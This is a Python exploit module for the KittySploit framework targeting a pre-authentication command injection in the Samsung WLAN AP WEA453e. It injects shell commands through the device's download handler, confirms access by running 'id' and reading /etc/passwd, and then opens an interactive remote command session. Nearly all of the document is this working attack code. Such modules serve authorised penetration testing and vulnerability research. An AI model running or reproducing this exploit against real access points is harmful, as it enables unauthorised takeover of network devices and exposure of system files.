Samsung WLAN AP WEA453e - Pre-Auth RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Samsung WLAN AP WEA453e pre-auth RCE — execute session."""

from __future__ import annotations

import re
import secrets
import time
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Samsung WLAN AP WEA453e - Pre-Auth RCE',
        'description': (
            'Exploits pre-authentication command execution on Samsung WLAN AP WEA453e via '
            'command1=shell:<cmd> on /(download)/<file>, then reads output through the '
            'download handler. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://omriinbar.medium.com/samsung-wlan-ap-wea453e-vulnerabilities-7aa4a57d4dba',
        ],
        'tags': ['samsung', 'wlan', 'ap', 'rce', 'cmdi', 'unauth', 'iot'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/samsung_wlan_ap_rce_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(4)
        tmp = f'/tmp/{name}.txt'
        dl_path = f'/(download)/tmp/{name}.txt'
        safe = str(cmd).replace('|', '')
        data = f'command1=shell:{safe}|dd of={tmp}'
        self.http_request(
            method='POST',
            path=dl_path,
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        time.sleep(0.15)
        r = self.http_request(method='GET', path=dl_path, allow_redirects=False)
        if r and (r.text or ''):
            return r.text or ''
        r = self.http_request(
            method='POST',
            path=dl_path,
            data=f'command1=shell:{quote(safe, safe="")}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'Samsung WEA453e RCE confirmed via id output',
                'confidence': 'high',
            }
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'Samsung WEA453e RCE confirmed via /etc/passwd',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Samsung download handler did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()